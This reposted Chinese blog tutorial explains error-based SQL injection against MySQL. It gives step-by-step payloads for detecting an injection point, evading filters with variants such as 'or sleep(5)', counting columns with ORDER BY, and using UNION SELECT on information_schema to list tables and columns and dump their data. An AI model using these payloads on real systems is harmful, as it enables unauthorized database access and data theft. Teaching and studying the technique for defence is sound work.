首页 > 数据库技术 > 详细

SQL注入:显错注入

时间:2019-11-18 19:58:30      阅读:184      评论:0      收藏:0      [点我收藏+]

SQL注入的本质

就是把用户输入的数据当做代码执行

注入条件

1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行

例:
http://www.xxx.com/new.php?id=1
http://www.xxx.com/new.php?id=2-1

注入的基本流程

1.判断是否存在注入点
1.最古老的方法:

? and 1=1 页面正常
? and 1=2 页面不正常
? 注:and 1=1 and 1=2 被拦截的可能性太高了
? 可以尝试 and -1=-1 and -1=-2或者直接 or sleep(5)

2.最简单的方法:

? 页面后面加‘,看是否报错

3.常用的方法:

? 如果是数字型传参,可以尝试-1

2.猜解字段数

order by 字段数 //显示报错则字段数为前面一个值

3.联合查询找出注入点

and 1=2 union select 1,2,3,…… //可以将字段都写上去

4.爆库、表、字段

查用户权限:union select 1,user(),3
查库:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =‘库名‘),3
查字段:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘库名‘ and table_name = ‘表名‘),3

5.查询我们需要的数据

查数据:union select 1,(select group_concat(字段1,字段2) from 库名.表名),3

注入常用函数:

group_concat(字段1,字段2) //返回由属于一组的列值连接组合而成的结果
ASCII(char) //返回字符的ASCII码值
DATABASE() //返回当前数据库名
USER()或SYSTEM_USER() //返回当前登陆用户名
VERSION() //返回MySQL服务器的版本
SLEEP(n) //休眠n秒

SQL注入:显错注入

原文:https://www.cnblogs.com/yanlzy/p/11884291.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!